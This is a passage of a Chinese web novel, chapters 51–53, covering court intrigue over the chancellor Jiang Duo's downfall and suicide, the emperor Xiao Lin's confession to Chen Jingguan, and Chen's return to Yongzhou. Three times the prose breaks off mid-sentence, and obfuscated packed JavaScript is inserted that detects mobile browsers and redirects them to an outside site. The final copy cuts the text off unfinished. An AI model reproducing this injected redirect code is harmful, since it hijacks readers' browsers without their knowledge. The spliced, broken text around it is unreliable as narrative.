“少将军等等,我有事与您一叙。” 陈京观闻言回头,看到莫汝安正追着自己来了。 刚才在堂上,莫汝安的行为其实陈京观能看懂,毕竟事情没到最后,谁也不敢亮明旗帜,更何况崇宁的根系遍布朝堂,只要他莫汝安还想继续坐稳这个位置,他就不能主动示好陈京观。 不过他也不该让陈京观引火上身。 “莫大人有事?” 陈京观朝着甄符止点点头示意他先走,然后挂着笑脸问候莫汝安。 “刚才我所言,绝非针对少将军,还请您不要误解了我才好。” 莫汝安的官阶比陈京观高,可他此刻的礼数却将自己放得很低,他微微弯腰朝陈京观行礼,陈京观连忙扶住了他的手。 “莫大人说笑,您不过秉公办事,况且我并未觉得莫大人对我有所冒犯,反倒是觉得大人心思敏捷,不愧是能做刑部那些事的。” 陈京观嘴上奉承着,莫汝安自然知道这其中几分真几分假,他缓缓将手放下,然后朝陈京观靠近一步。 “三司之间,另外两司均是崇宁的人,大人今日言行会一五一十出现在他们给崇宁的信件中,望大人以后也多加小心。” 说罢,莫汝安朝陈京观笑了一下,然后转身朝宫门口走去。 至于莫汝安所说,陈京观其实是了解的,所以他才更好奇莫汝安的立场。 他从入仕就在刑部,如今也待了十几年,混到了尚书的位置。 而刑部之前的尚书,温叔让,是陈京观的外祖父。 陈京观不知道莫汝安出于何种立场对他说了这些,但是他的主动示好,陈京观记下了。 “这千丝万缕间,有多少是阴谋,有多少是命数。父亲,你当时也这般恍惚吗?” 51.因缘和合(四) 等陈京观刚回到府上,江阮就从厨房里钻了出来。 他那日和陈京观从京兆府回来,边吃边聊谈到了深夜,又因为喝了酒的缘故,他就睡在了陈京观家中,而后几日他吵着嚷着让陈京观带他在景州转转。 不知为何,他这般样子让陈京观想到了他赖在槐州军营的时候。 “怎么样,皇帝给了萧霖什么处分?” 江阮手里端着刚做出来的红烧鲤鱼,一边迎着陈京观一边同他一起进到里屋去。 这鱼是昨儿他和陈京观去湖海边从渔民处直接买的,买回来就养在家里的水缸里,他从小就是江南脾胃,爱吃些清淡的。 实际上若不是他看在如今借住陈京观家中的份上,他大概会买了鲈鱼回来清蒸。 “不痛不痒,削爵罚俸禁足,就是没贬官。” 陈京观接过江阮手里的盘子,江阮就轻车熟路地从架子上拿了一瓶黄酒温着,如今十一月了,虽说阙州比澄州暖和些,可还是比不过东亭。 “萧霖在等崇宁的反应,他这三项就那个禁足我看着有些用。” 说罢,门帘被席英拉开,一阵冷风穿堂而进,江阮等着她和平芜进来,立刻过去将帘子掩好。 “此话怎讲?” 陈京观说着,找了个靠近门边的位置坐下,把里面的位置让给了他们。 “你对蒋铎和崇宁,了解多少?我是指他二人的关系。” 江阮敛了敛身上的披风,又去炉子旁拿过来一个汤婆子抱在怀里。 “崇宁引荐了蒋铎,而蒋铎成了崇宁控制朝堂的傀儡。” 陈京观应了一句,但他觉得江阮的意思不在于此。而席英和平芜听着,眼神不停在面前的两个人身上转。 “你入京这么久了,依旧只是这么认为?” 江阮朝双手哈气,然后动筷子夹了一块鱼,将它放在了自己的清汤面上,那酱汁很快就溶在了水里。 “你有话直说,我饿了,动不了脑筋。” 陈京观有些埋怨地应道,江阮就笑了笑接上了他的话。 “你身边不是有个叫夏衍的把总吗?他爬着么快,你没怀疑过?” 陈京观点了点头,示意江阮继续。 “那就是你已经知道了其中的意思。那你觉不觉得,蒋铎爬得也有些快?” 江阮这话一出,陈京观嘴里的面被他下意识咬断。 他印象里的蒋铎应该比陈频小七八岁,按照他初登相位时的年龄看,要说一个未满三十的人就能位极人臣,这确实有些说不通。 陈京观了然地点点头,他以前一直将蒋铎与崇宁看作是利益捆绑的结果,可天下没有什么利益能让两个人永远处在同一阵营。 他们能维系近二十年的关系,这其中一定有蒋铎不敢走的原因。 “当时蒋铎和天下其他学子一样都向往着去投靠苏扬,可苏扬出了一道题,他问那日来的学生,如果有一日发现自己被最信任的伤害,你当怎么做?你猜他是怎么回答的?” 见陈京观明白了,江阮就继续说道,他一边说着一边端起桌上的黄酒喝了一口,脸上慢慢有了血色。 可江阮的话却让陈京观想到了苏晋那日与自己说的。 他此刻才终于发现,其实苏扬一直没变过,他广收学子的目的远比他那些冠冕堂皇的话要阴暗的多。 他要的,是他面前一直有人做挡箭牌,是他手中一直有甘愿赴死的棋子。 江阮见陈京观没有答话,就笑着说:“我知道你想到了什么。不过蒋铎能活到今日,或许也是因为他很早就看清了那些所谓的仁义礼智信。” 江阮顿了一下,抬头对上了陈京观的眼睛。 “他那时只说了一句,我不会有那一天的。第二日,苏扬就以此子心术不正,将他赶了出去。” 陈京观闻言,嘴角轻轻抽动,不过下一秒他竟然觉得唏嘘不已。 苏扬收了那么多徒弟,带着整个南魏成了这片土地上文人风骨的代名词,可他实际上与风骨毫无关联。 他不是这世间最好的老师,却是这世间顶级的弈者。 “从那之后,蒋铎便四处碰壁,毕竟被苏大学士拒绝的人,怎么会有人肯收。就当他准备打道回府时,一封从长公主府寄出来的信递到了他面前,那时的崇宁刚刚丧夫,可是他弟弟登上了皇位,于是她又以长公主的身份住进了崇明殿。” 江阮说到这突然叹了口气,陈京观瞧着他的神色,捉摸不透他的心思。 “接着这之后的事情你是亲历者,我不必说你应该也都知道了。只是当时二十五岁的崇宁和十八岁的蒋铎,那可都是彼此最好的年岁,日日夜夜朝夕相处,其中有多少纠葛,又有多少无以言说,可想而知。” 江阮的话说完了,满桌子四个人突然都沉默了,半晌才听见平芜发出了一声怪叫,陈京观看了他一眼,平芜便掩着嘴低下了头。 “那是他当时唯一的选择,我理解他。我不理解的是如他这般的人,怎么会甘愿这么多年俯在崇宁膝下?” 陈京观说着,又开始继续吃碗里面,他很难将蒋铎与豢养搭在一起。 蒋铎是狼狗,这么多年从未想过藏起他的利齿,陈京观并不觉得有谁能养得熟他。 可如果他养不熟…… “就因为他养不熟,所以这次是崇宁先抛弃了他。” 陈京观后知后觉道,而江阮挑了挑眉开始吃刚才那块夹在碗里的鱼肉。 “但是如果蒋铎离开崇宁,他没有更好的靠山了,他这么多年树敌颇多,他不敢轻举妄动。” 陈京观说罢,抿了抿嘴,而江阮将那块鱼的刺挑出来,轻轻咬了一口。 “所以你至今都没听到过他二人不和的消息。” “那你如何知道的?” 陈京观迅速迎上了江阮的话,而江阮笑着将那块鱼吃完才继续说。 “当日你问我,我能接触到的究竟是谁,我没有回你。现在我能告诉你的是,你想到的那些人,都在吃我的鱼饵。” 陈京观瞧着江阮说话时的模样,他对于江阮这一番话并不觉得奇怪,反而他好像看清了自己的位置。 “那我其实也是其中一个。你何时需要了,就提一提竿,你不需要了,就让我们被勾着嘴,困在那方天地中。江掌柜,好手段。” 江阮没有直接反驳陈京观的话,而是饶有兴趣地盯着他。 “你可能还有些许不同,我与你之间不需要饵。” 陈京观闻言白了江阮一眼,江阮便轻笑了一声以作回应。 其实陈京观不是没有想过江阮的目的,可是直到现在,江阮无疑是自己前进的推手,而自己却没为他做过什么。 在这样的盟友关系中,如果一定要打破砂锅问到底,最后的结果一定不会比得过且过更好。 小两年过去了,陈京观能做的依旧是等着江阮主动开口。 “那你对他的新目标有了解吗?” 陈京观话锋一转,开口问道。 “我只能说,我觉得他的野心不止于此。他现在明面上压在萧霖之下,实际上是压在崇宁之下,这样的环境会将人逼疯的,他一定会找机会伸出头去。” 陈京观了然地点头,又像是突然想到了,于是将今日在会审中蒋铎的反常告诉了江阮。 最初江阮只是听着,还照常吃着东西,后来陈京观提到蒋铎自始至终没和他说过一句话,这时他放下了筷子。 “他预见到了,崇宁开始怀疑他了。” 江阮说这话的时候面色凝重,如同那日他听到陈京观反问自己时一般。陈京观也放下手里的筷子,将杯中的黄酒一口饮尽,招呼着两个小孩去收拾。 “你如今有一举扳倒蒋铎的机会,你要吗?” 陈京观闻言没说话,但他盯着江阮的眼神却逐渐聚焦。 “孟知参当时在血书上写的是崇宁和蒋铎合谋篡权,意欲干政。这是要从根本上将萧霖和崇宁推到对立面上,萧霖做不到的。” 江阮谈起萧霖,话语中有一种陈京观说不上来的熟悉感,但是他没有开口问,便听到江阮继续说。 “你明日上书,让关策将你的折子直接递给萧霖,就写崇宁受蒋铎蛊惑,是被其蒙蔽,同时加上几句对二人私情的暗示。萧霖如果愿意,他会帮你的。” 陈京观闻言抿了抿嘴,而江阮见其满面愁容,就渐渐放松了表情,笑着对他说。 “你对萧霖,其实比我了解,只是你因为见过他的好,所以难免会失去客观。我不一样,我所见的,都是他们的影子,是他们最不想被人看到,却终究遗漏出来的狐狸尾巴。” 江阮的话说完,陈京观依旧不动声色,江阮就坐在旁边等着,不知过了多久,陈京观突然开口。 “不止如此,我要同时将这份信送到威岚坊。”陈京观说着,眼神里的决绝被江阮尽收眼底,“崇宁因我的存在本就对蒋铎有所埋怨,如今我这封信,要说得亲切,说得直白,说得让她想到十年前的一切。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14403639|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我是蒋铎留下来的,崇宁这辈子最大的把柄。只要我活着,她就会一直想着那场烧不尽的大火。” 陈京观说话时江阮就一直看着他,此时他对陈京观有一种陌生感,可是这种感觉让他很兴奋。 第二日一早,江阮辞别了陈京观,而陈京观的折子随即出现在了萧霖的书房,萧霖看完后久久不语。 紧接着几天,陈京观每日都按时上朝,慢慢的有关蒋铎的折子越来越多,上到各部尚书,下到各州府衙,甚至苏晋的密函也在第四天时送到了萧霖面前。 这一切就如同台风过境前的闷热,晚霞是绮丽的,云彩是斑斓的,日月同辉,天地皆春。 可离大殿只有几步之遥的威岚坊没有消息。 崇宁每日去自己宫中的花园散心,虽说初冬时节万物凋零,可她命人折了许多纸花,又叫人从遥州送来了白山茶,此时的威岚坊除却空前的平静,就只剩下各色的芬芳。 蒋铎的府院也是如此。 他照常在清晨将大门打开,去厨房拿两个刚做好的包子,给自己沏上一壶清茶,在院子里一坐就是一天。 突然,这场预谋已久的暴雨落下来了。 “奉天承运,皇帝昭曰,丞相蒋铎欺君罔上,有违朝纲,结党营私,秽乱宫闱。以巧色蒙蔽圣上,以谄媚蛊惑尊长,屡教不改,过犹不及。自宣旨之日起,蒋铎入刑部大牢,未得旨意任何人不得探视,司定于明年秋后问斩。钦此!” 内侍的声音在丞相府炸开,各处都开始行色匆匆地收拾包袱,唯恐自己被连累。 蒋铎将手里的茶杯放到了桌上,缓缓跪下接过那道旨意,嘴上念一句“谢主隆恩”。 “公公能否再容我一个时辰,天黑之前,我随公公去。” 蒋铎言语中没了往日的强势,不过那内侍也不是捧高踩低的,他斜着眼瞧了蒋铎一眼,临走时长叹一口气。 等着内侍离开,这丞相府也基本被下人们搬空了,蒋铎又端起了自己手里这杯茶,他一步一步数着进到了书房,从他书柜的小匣子里拿出他那日下在陈京观酒中的药丸,一口气喝完了半瓶。 随后他转身回到了书桌边,那里放着崇宁托人给他递进来的信。 “相逢于年少,可你我终究殊途。我不知道你从哪一刻起对我生了厌烦,是我容颜消逝,还是你权利滔天。蒋铎,其实你从进入威岚坊那天就知道我想要什么,我也已经将能给你的都给你了。可你贪心啊,你太贪心了。” “周湘是我的侄女,她能有如今的位置,她断然是不敢忘的,但是周原任不同,他与你一样,胃口大得很。我能为了枫儿将萧祺栩送入西芥,你该知道我的决心。你不该动了摄政的主意。” “你我虽没有夫妻之名,可这么多年,我如何看待你的,你当真一点都感觉不到?也是,你们惯是薄情寡义的,他是如此,你也是如此。我与你们而言,是阶梯,是依仗,却唯独不是所爱。” “蒋铎,这是我写于你的最后一封信了,无论你看不看,烧不烧,我都无所谓了。你的罪证是我亲手交到关策手里的,不然萧霖不会如此决绝。你如今也要走了,当时那些一同说笑的人,都走了。我该想到的,先皇说过我不是吉人,我不信,可你们都离开了。” “但你的仇我会替你报的。陈京观,他不会有机会登上他父亲的位置。他远比不上陈频。只是我好累啊,苏扬走了,陈频走了,你也走了,棋盘对面的人一个个换着,我却不能停下来了。” “事到如今,我的满腹牢骚讲完了,不知道你看到这里没有。最后,祝你好梦。” 信件的结尾没有落款,可是词语之间却也并没有隐瞒之意。 只是蒋铎没有看完,他在望见那句“你太贪心”的时候,就没了力气。 在他意识残留的最后,他将这封信扔进了房中的炉火里,试图将它与过去付之一炬。 “报告少将军,蒋铎在府中自尽。” 没过多久,萧霖派了人到陈京观府里通传,而陈京观背对着他,手中拿着的书一抖,险些掉落在地上。 “知道了。” 没有意料中的关门声,陈京观缓缓转身,只看到那内侍将一枚玉佩递到他面前。 “这是从他府里寻到的,皇上让奴才务必亲手交给您。” 陈京观伸手接过来,那玉在冬日里显得更加冰凉,触碰到的一瞬,他又险些松了手。 “皇上还有说什么吗?” “有,皇上说,这算是完璧归赵。” 52.因缘和合(五) 蒋铎的失势,想当然成为了这南魏朝堂大换血的契机。 一些在位子上守了半辈子的人终于寻到机会能挪挪窝,不过来陈京观这的一律吃了闭门羹。 那日内侍走后,陈京观以身体不适告假,小一个礼拜没出门,他每日睡醒就盯着那块玉佩,然后沉默地坐着。 听来的人说,蒋铎基本上将能烧能毁的都处理干净了,他院里的东西也全让仆人一扫而空,可这玉佩他提前托了守卫照看,直到内侍去敛尸时那侍卫才拿了出来。 他是故意留给陈京观的。 但这不应该,他们之间不该还有没了结的。 就这样过了一周,陈京观照常一大早去上朝,萧霖却托辞将他留下,旁敲侧击地问他蒋铎同党该如何处理。 “穷途末路,困兽犹斗。” 陈京观说完,见萧霖轻轻点着头。 其实他这些日子常想着江阮的话,他越发觉得崇宁和蒋铎应该早就分属两派了,而他们还能装作一团和气,不过就是彼此都舍不得对方的力量。 陈京观所做的,也算是帮了崇宁一把。 可如若现在将蒋铎一党全部清理,反倒让崇宁没了制衡。 崇宁下了一辈子棋,一朝失去对手,陈京观想不到她会做什么。 不过他也明白,此刻的崇宁,最恨的该是自己。 “虽说蒋铎已死,可是您手里的玉玺依旧有一半在威岚坊。长公主此举不过是断尾逃生,她绝不会就此放弃。” 陈京观立在萧霖面前,低着头小声言语。而萧霖没说话,侧过身示意他往炉火里再丢两块碳。 “她是我的亲姐姐,自我五岁时就是她养着我了,我们是这深宫里最不起眼的草,可她护着我到了如今的位置。你说我当如何?” 萧霖说罢抬起头看陈京观,可陈京观依旧没有动作。 “那您想要的究竟是什么?” 萧霖闻言默不作声,只是轻轻抬手将自己身上的披风拢了拢。 “世上安得两全法,您也不该太贪心。” 陈京观说着,将手边温好的暖炉递给萧霖,萧霖瞧了他一眼,轻笑一声。 “可人不都是如此?你就没有什么都想要的时候?或者说,你就没有舍不得的时候?” 萧霖的话引得陈京观思索片刻。 要说他现在想要的,其实可以同时得到,不过一个是结果,一个是途径。 “没有。” 陈京观答道,而萧霖愣了一下,下意识说了一句“真好”。 “可你依旧要小心些,崇宁那边,”萧霖深吸一口气,“她暂时不会有什么动静,不然太过张扬了,但她从来不是坐以待毙之人。” 萧霖的言外之意很明显,虽说崇宁一时间不会轻举妄动,可陈京观如今成了这阙州城最有势力的新秀,难保旁人不会将其认作是蒋铎的接班人。 蒋铎纵然有异心,但多少算是崇宁一手培植起来的,陈京观就不同了,他走到现在,就是为了报仇。 不过萧霖的另一层意思也很明确,他依旧不会表明自己的立场,陈京观始终还是他一个人。 那么此时留给陈京观最好的选择,就是离开阙州。 “听闻皇上有意派人去雍州边界的城堑督工,臣愿请命前往。臣出身雍州,对当地风土人情大都熟悉。而今也到年关了,去年就没回家,今年我想着回去过年。” 陈京观一边说着,一边朝萧霖行礼,萧霖原本笑着,可听他说年前就走,又突然冷了脸。 “去年你也没在阙州过年,今年还要用借口推脱?” 陈京观笑了一下,朝火炉处的地方走了两步。 又是十一月的阙州,又是萧霖的书房,还记得去年第一次来这大殿时,陈京观远没有他表面显出的平静。 那一百零三级台阶,他一个一个数着走完的,他其实也怕过。 可是距离他离开雍州两年了,身边的人来了又走,心里的事一桩桩一件件渐渐终了,他今日再踩上那长阶时,却依旧怕着。 “这阙州繁华,可我待不惯。” 陈京观说着,往那快要燃尽的火堆里扔了两枚银碳,原本式微的火光立刻蹿了起来,连带着他身上那股寒气也消减了几分。 “您要是信得过我,有机会我带你去雍州看看吧。” 萧霖没回答,他其实去过雍州的,在他十一岁时。 那年先皇下旨开恩,准允所有皇子公主都随他去廊州踏春,那时萧霖在射雁比赛中一举夺魁,他看见先皇少有地对他笑了,随后他骑着马带萧霖沿着广梁平原转了一圈。 不过回宫后先皇再也没去过萧霖的宫里,他与姐姐的日子依旧一尘不变。 “行,等你城堑修毕,总能寻到机会的。” 陈京观见萧霖松了口,就立刻半蹲着向他致谢,萧霖有些无奈地摇了摇头,就当陈京观打算离开时,他突然开口。 “那把剑你喜欢吗?” 陈京观愣了一下,有些犹疑地点头。 “那本就是多年前我要送给你的,不过没寻到机会。” 一时间,陈京观感觉鼻头有些泛酸,他轻声问道:“恕我唐突,那一日您派父亲去西芥,是料定他会死吗?” 萧霖愣了一下,陈京观看到他扶着椅子的手有些颤抖。 “当日满门抄斩的旨意,也是您下的吗?” 萧霖说过要让自己心平气和地与他谈一谈,可能否心平气和,那怕得是谈完了才能决定。 陈京观没有在意萧霖的沉默,他走到这一步了,该将一切问问清楚。 “苏伯父说您什么都不在乎,可我觉得不尽然。人不可能在什么都不在乎的时候还能感觉到愤怒,还感觉到无力。可您在乎什么呢?” 萧霖背身叹了一口气,而等他转过身时,发现陈京观一直盯着自己。 “你父亲的死,不是我的本意,如我现在对你现在一样,我希望他跑,跑得越远越好,可崇宁不想放过他。所以你要说我对他的死有所预料,”萧霖缓缓点头,“我承认,同时我也有私心。你姨母死后栩儿就是少时的我,我只望着陈频能带他逃。可我忘记了,崇宁最不满意的其实是我。” 萧霖顿了一下,继续说道:“当崇宁发现我不受控制时,她就打算另谋新主了,于是她让周原任献上了自己的女儿。周湘,原是我的表侄女。” 对于周家的故事陈京观有所耳闻,当时崇宁几乎是力排众议将周湘塞进了后宫,那是她能找到的最容易被控制的人了。 “那时我的后宫只有雯昭一个,我这辈子,也只爱过她一个。而你姨母,说到底也是我挡箭牌罢了。” 陈京观想到那日在中秋宴上看到的薛雯昭。 她的眉眼其实和薛磐不是很像,可是她坐在那一举一动都如同他父亲一般沉稳。她不喜言笑,整个席间除却与陈京观互敬了一杯酒之外,没有人再注意过她。 可她也是的确聪明,凭借一辈子避宠,谦让,与世无争,换得了大皇子与她安然活到了今日。 “崇宁本意要立周湘为后,可那时的雯昭是最合适的人选,她已经有了孩子,应当名正言顺的登上后位。可我知道,那是死路一条。” 萧霖说话间常常叹息,他低垂着眼睛,陈京观看不到他的表情。 “于是我提议大选,从各家适龄女子中选秀女进宫。那时你母亲已经心悦于你父亲,你姨母便替她入了宫。她是温叔让的女儿,论及家族势力和才貌,都是最能与周湘相较的。最后我扶她登上后位,她也就成了我这辈子最对不起的人。” 此时陈京观的拳头已经慢慢握紧,他只觉得可笑。 他萧家的儿女真是多情,可无一例外,他们最在乎的始终是自己。 被他们喜欢,好像本来就是死路一条。 “其实除却祺桓和祺枫,在栩儿之前我还有过三个儿子,但每当他们学会叫父亲时,他们就再也没能开口了。就连栩儿,若不是凭着母亲是皇后的名义,估计也就没了。” “你当真一点抵抗都没做过?” 陈京观毫不犹豫地问出,而萧霖只是轻笑了一声。 “我请苏晋出山是抵抗,我立温浅为后是抵抗,我选陈频当丞相也是抵抗。可最后呢,他们都因我而死。姐姐,她原本不是这样的。可她好斗,我的每一次反抗,她都甘之若饴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14418458|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 萧霖那句“姐姐”发着颤,陈京观瞧见他伸手抹了一把脸。 “其实若她是男儿,她自会提刀上殿,可偏偏她不是,她就只能将所有希望都寄托在我身上。而我的所有反抗在她看来,都是对她委曲求全的漠视。渐渐的,我成了她的傀儡,而她早就成了权利的傀儡。” 萧霖很久没说过这么多话了,他的气息被难以抑制的悲戚打乱,直到说完,他的胸口依旧难以平复。 “景豫,你现在理解我说的那句,只有我什么都不做,才能保证南魏和平吗?” 萧霖说完,抬起头对上了陈京观的眼睛,那双眼睛卧着泪,好像又苍老了些许。 “你那日说我贪恋着高处的空气,是啊,我是贪恋。纵使我成了孤家寡人,可总好过我仰人鼻息的曾经。” 陈京观一时间不知道还能说些什么,眼前的老人笑着望自己,虽然嘴上说一切靠你自己,可他能这么顺利的走到现在,萧霖做了很多。 他没有放弃过抵抗,只是后来的他,是在与自己的心挣扎。 “那日灭门的旨意,也的确是我下的。” 萧霖突然又开口,陈京观不禁眼角颤动。 “那是你母亲的主意。” 萧霖又继续说,可此时的陈京观突然有些站不稳脚,他下意识扶在了旁边的坐榻上,有些不可思议地看着萧霖。 “那时我下令让温叔让去讯问温润,为的是让他们寻一个自保的办法。可三天过去温润对你父亲的罪名一概不认,而温叔让看着自己的女儿被刑部大狱折磨,他在威岚坊跪了一夜。第二日温润认了,而她唯一的请求就是不要株连她的父族。” 后来温叔让看着温润的喝掉了那杯毒酒,抱着他最后一个女儿泣不成声。 “之后他自请做了崇州刺史,你可去看过他了?如今算起来,他也到了乞骸骨的岁数。” 陈京观闻言摇了摇头,他对于外祖父最后的印象停留在孟府下人所说的,大义灭亲。 “有时间去看看吧,他一定能认出你,毕竟你与你母亲,真的很像。” 萧霖说着,又从书柜里递过来一本册子。 “温叔让编纂的《刑文录》,你家被烧之后这世间就剩这一本了。” 陈京观抬手接过来,他看着上面那个名字,只感觉喉咙像被堵住了一般。 “至于你最后那个问题,”萧霖顿了一下,“我现在只想在在位之时求个太平。这世间不能再打仗了,南魏也不能再打仗了。” 陈京观应声点了点头,他的手指摸索着那有些粗糙的纸页,他腰间的玉佩便在不经意间被他摇动。 “如今你还愿意做我的棋子吗?” 房中的沉默被萧霖突如其来的问句打破,他歪着头打量陈京观。 “纵然有那么多前车之鉴,你也依旧愿意吗?” 陈京观没说话,又低着头看了一眼手上的书,他的手指被封页上的花纹压出了印子,他似无意般来回揉搓着拇指。 “若有一日,我终将要与崇宁斗个你死我活,你又会如何?” 陈京观没有用敬语,他开口的瞬间目光紧盯着萧霖的眼睛,他试图从中找见一丝关心。 可萧霖没有,他还是依旧笑着。 “我什么也不会做。” 萧霖的回答在陈京观意料之中,他闻言没说什么,可眉眼间的轻佻不减半分,他朝着萧霖的方向行礼,又顺嘴说了句新年的吉祥话,便退出了崇明殿。 等在大殿门口平芜见他出来,就将手上的大氅递给陈京观。 他往日不会直接随着陈京观进来,可今日他突然想来看看,而陈京观看到他时,他就站在平海曾站过的位置上。 “收拾收拾回家。” 陈京观感觉到平芜拿着大氅的手颤了一下,他伸手时故意停留了一会,隔着那厚厚的毛呢拍了拍平芜。 “就说我留平海在京都驻守,江姨不会怀疑的。” 听陈京观说罢,平芜只是木木地点头。陈京观把自己的外套穿好,又伸手将平芜领口的绑绳系紧,抖了抖他的披风。 “临走前去敬杯酒,今年我们不能陪他过年了。” 53.阳关三叠(一) 十二月初,雍州的飞雪已经将整片土地换了新装,路上的腊梅开得鲜艳,两边扑扑簌簌的落花混在雪水里,让陈京观这一路都浸着芬芳。 等他带着三十几号人出现在雍州城外,董辉也已在城门口恭候多时。 时隔两年,又是这一行人说笑着往昌用商行的方向走,不过董辉嘱咐了手下的兵士,对于平海,尽量做到闭口不提。 董辉看着自己身边的陈京观,他若无其事地与队伍里新出现的几张面孔交谈,但他这幅样子董辉很熟悉。 这是他极度克制后的装模作样。 可萧霖已死,他应该能喘口气了。 “平芜,你先和席英去收拾屋子,将我们买来的东西给大家分一分,我与董叔有话说。” 陈京观看得出董辉的担心,出言支走了两个小的,他回过头笑着望董辉。 “我没事,就是最近太累了。” 见董辉沉默,陈京观便率先开口,他一边说着,一边云淡风轻地整着下摆上的泥水。 突然,他的肩头有重量压下,他抬头看着那只手的主人,董辉就盯着他,什么话也不说。 “真没事,我只是有些事情想不清楚,再给我一些时间就好。” 董辉放在陈京观肩膀上的手缓缓用力,陈京观便笑着用另一边的手覆在上面。 “有时候,只看重结果也不是坏事,不一定什么事都要追根溯源。” 董辉说罢,将自己的手抽了出来,和迎面走过来的宁渡打了声招呼,动身去看着厨房里帮着做午饭的伙计。 “师父。” 陈京观开口,而他行礼的动作被宁渡拦下来了。 “你如今是朝廷命官,不该给我这种寻常百姓行礼了。” 宁渡说着,用手扶住陈京观抱在胸前的拳头,可陈京观执拗地屈下身子,恭恭敬敬朝宁渡叩拜。 “在那阙州城,我的腰一次次弯下,可这辈子最值得我行礼的,只有您。” 宁渡看着眼前的人,叹着气点了点头,他屈膝把陈京观扶起来,领着他去了正厅。 “这些日子,一切都好吧。” 宁渡的声音响起,在这关门后寂静的房间内显得尤为突兀。陈京观端着茶壶的手顿了一下,但他还是稳稳将茶水倒入杯中,又拿起来递给了宁渡。 “侥幸得到了想要的结果,应该算好吧。” 陈京观说着,朝宁渡笑了笑。 “那你接下来打算怎么做?” 宁渡看着陈京观,脸上却不敢表露出丝毫松懈,他的鬓边多了几缕白发。陈京观盯着望了许久,缓缓开口。 “师父老了。” 宁渡闻言身子一颤,有些无奈地摇头。 “你还是害怕连累我?也罢,我替你守着家,累了就回来。” 师徒二人的默契不消说,可宁渡更希望此时的陈京观能找到个宣泄的口子。 平海走了,他很难再找到和他那般相似的人了。 “你江婶那里我打点好了,不过她现在也上了岁数,身子一天不如一天,我让她在家做些轻松的活,人忙起来就不会胡思乱想了。” 陈京观闻言点点头,应了一句“全凭师父安排”,然后就听到门口的董辉喊着他们出来吃饭。 “你要记住,保全自身始终是首位。” 陈京观的手放在门上刚要用力,宁渡突然开口。 “知道了,我还要给师父养老送终,我可不敢先走。” 宁渡闻言,作势要踹陈京观一脚,陈京观反应快,推开门就笑着往外跑。 看着他跑远,宁渡见他又继续和院里的伙计说笑,他就扶在门边上一直望着陈京观,最后还是被平芜叫了一声才缓过神。 大家都在家的日子终究是要快活许多,连时间的流逝也更加难以察觉。 之后几日陈京观好似又回到了从前,他每日跟在宁渡屁股后面去各个铺子收账,不过那些掌柜都痛快了很多,对起账来确实比往年更容易些。 而雍州的年相比较去年陈京观在澄州经历的,自然是少了些气派,可身边全是熟悉又亲近的人,那饭香混着人情味,纵是什么也比不了的。 陈京观这次回来领的是公差,不想要太大张旗鼓,便在入城时避开了百姓常走的大道,和董辉绕着小路兜了一圈才回来。 可是少将军回雍州的消息想当然是瞒不住的,从他回来的第二天起,昌用商行门口就热闹起来了。 要说雍州以前也不是个小地方,不过主要经营商贸,所以流动人口比较多,而陈京观促成了南魏与西芥的新协议,好些隔壁州县的纷纷在雍州置了地,以前寻不到人影的山间小路,如今也常能看见袅袅炊烟。 如今少将军回来了,那些久闻大名的人自然是想着来见一见。 虽说昌用年跟前也不营业了,可人堵在门口总是不像话,陈京观索性就发了告示,要效仿北梁的万人宴,年三十的时候也请着大家一起来过节。 他这告示一发,却意外地帮助了粮店和布坊,前者他倒可以理解,毕竟万人宴讲求各家出一道菜,大家往日不会屯粮,如今去买,倒也合理,可布坊却让他有些摸不着头脑。 不过一切谜题在年三十的中午揭开了。 “师兄,她们不冷吗?” 平芜有些迟疑地望着眼前穿着一身单衣来送菜的姑娘们,小声贴着陈京观的耳朵说。 雍州往年十二月还没有春衣出售,可今年那些刚上来的新鲜料子被一抢而空,连带着一些往年积压的货都被清了出去。 只是陈京观还没说话,平芜身后的席英用手敲了他的头,平芜吃痛地瞪了一眼身后的人,倒是陈京观笑出了声。 “人家打你也有道理,谁让你两年过去了,这嘴还是比脑子快。” 平芜郁闷地瘪着嘴,刚想反驳两句,倏忽间恍然大悟,怪里怪气地“哦”了一声,眼睛里多了些不怀好意。 “所以各家叔叔婶婶这是看上你了?” 平芜话音刚落,陈京观的巴掌也就跟着落到了他的背上,席英在一旁掩着嘴笑,平芜有些气不过,鼓囊着嘴说他们联合起来欺负人,快步跑下去要去找宁渡告状。 “你去将各家商行能匀出来的氅衣都买了来,分给各位姑娘吧。” 陈京观说着,有些无奈地摇头,席英应了一声就朝门外走,而宁渡却不知何时出现在陈京观背后。 “你先把自己照顾好吧。” 说完,陈京观的肩膀被附上温热的毛料子,他回头向宁渡道谢,宁渡点了点头,却没有要走的意思。 “师父有话说?” 陈京观伸手系住锁骨处的系带,又将自己的手往里面缩了缩。 “你岁数不小了……” 宁渡的话刚开口,陈京观就作出饶命的动作,他双手合十在宁渡面前连连作揖,宁渡只好无奈地止住了话头,用手拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 